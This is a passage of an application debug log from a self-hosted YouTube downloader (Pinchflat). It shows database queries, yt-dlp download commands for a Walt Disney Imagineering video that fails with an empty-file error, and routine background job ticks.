LIMIT 1 [] 00:08:38.875 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:08:38.875 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/18/b5/18b543fba80d3534a5b35408c2d1c1791922d52edf00d77ccebda414b130614f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:08:44.023 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/18/b5/18b543fba80d3534a5b35408c2d1c1791922d52edf00d77ccebda414b130614f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:08:44.024 [debug] Running yt-dlp command for action: download 00:08:44.024 [debug] QUERY OK source="settings" db=0.1ms idle=1500.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:08:44.024 [debug] QUERY OK source="settings" db=0.1ms idle=1500.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:08:44.024 [debug] QUERY OK source="settings" db=0.1ms idle=1500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:08:44.024 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6b/72/6b7213a83603f12c58d2ef861e5f72e60e1390e12695a17413d616d22f9620ac.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:08:50.731 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.278 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:09:20.732 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:44.512 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6b/72/6b7213a83603f12c58d2ef861e5f72e60e1390e12695a17413d616d22f9620ac.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 00:09:44.512 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 00:09:44.513 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":65641199,"event":"job:exception","queue_time":956441,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:09:50.733 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.279 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:10:20.735 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:50.736 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.280 [info] {"source":"oban","duration":303,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:11:20.737 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:50.738 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.282 [info] {"source":"oban","duration":324,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:12:20.739 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:50.740 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.282 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:13:20.742 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:50.743 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.283 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:14:20.744 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:50.745 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.284 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:15:20.747 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:50.748 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.285 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:16:20.749 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:50.750 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.286 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:17:20.751 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:50.752 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.287 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:18:20.754 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:50.755 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.288 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:19:20.756 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:50.757 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.289 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:20:20.758 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:50.759 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.291 [info] {"source":"oban","duration":383,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:21:20.761 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:50.762 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.291 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:22:20.763 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:50.765 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.292 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:23:20.766 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:50.767 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.293 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:24:20.768 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:50.769 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.294 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:25:20.770 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:50.772 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.295 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:26:20.773 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:50.774 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.296 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:27:20.775 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:50.776 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.297 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:28:20.777 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:50.778 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.298 [info] {"source":"oban","duration":128,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:29:20.779 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:50.780 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.299 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:30:20.781 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:50.782 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.300 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:31:20.783 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:50.784 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.301 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:32:20.785 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:50.786 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.302 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:33:20.787 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:50.788 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.303 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:34:20.790 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:50.791 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.304 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:35:20.792 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:50.793 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.305 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:36:20.793 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:50.795 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.306 [info] {"source":"oban","duration":429,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:37:20.796 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:50.797 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.307 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:38:20.798 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:50.800 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.308 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:39:20.801 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:50.802 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.309 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:40:20.803 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:50.804 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.310 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:41:20.805 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:50.806 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.311 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:42:20.807 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:50.808 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.312 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:43:20.809 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:50.810 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.313 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:44:20.811 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:50.812 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.314 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:45:20.814 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:50.816 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.315 [info] {"source":"oban","duration":388,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:46:20.817 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:50.818 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.316 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:47:20.819 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:50.820 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.317 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:48:20.821 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:50.822 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.318 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:49:20.823 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:50.825 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.319 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:50:20.826 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:50.827 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.320 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:51:20.828 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:50.829 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.321 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:52:20.830 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:50.831 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.322 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:53:20.847 [info] {"source":"oban","duration":15873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:50.849 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.323 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:54:20.850 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:50.851 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.324 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:55:20.852 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:50.853 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.325 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:56:20.854 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:50.856 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.326 [info] {"source":"oban","duration":416,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:57:20.857 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:50.858 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.327 [info] {"source":"oban","duration":327,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:58:20.859 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:50.860 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.328 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:59:20.861 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:39.423 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1775019579423530945,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:59:39.424 [debug] QUERY OK source="media_items" db=0.3ms idle=900.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 00:59:39.424 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:59:39.424 [debug] QUERY OK source="sources" db=0.2ms idle=900.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:59:39.424 [debug] QUERY OK source="media_profiles" db=0.1ms idle=901.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:59:39.425 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 00:59:39.426 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 00:59:39.426 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:59:39.426 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:39.426 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:39.427 [debug] Running yt-dlp command for action: get_downloadable_status 00:59:39.427 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:39.427 [debug] QUERY OK source="settings" db=0.0ms 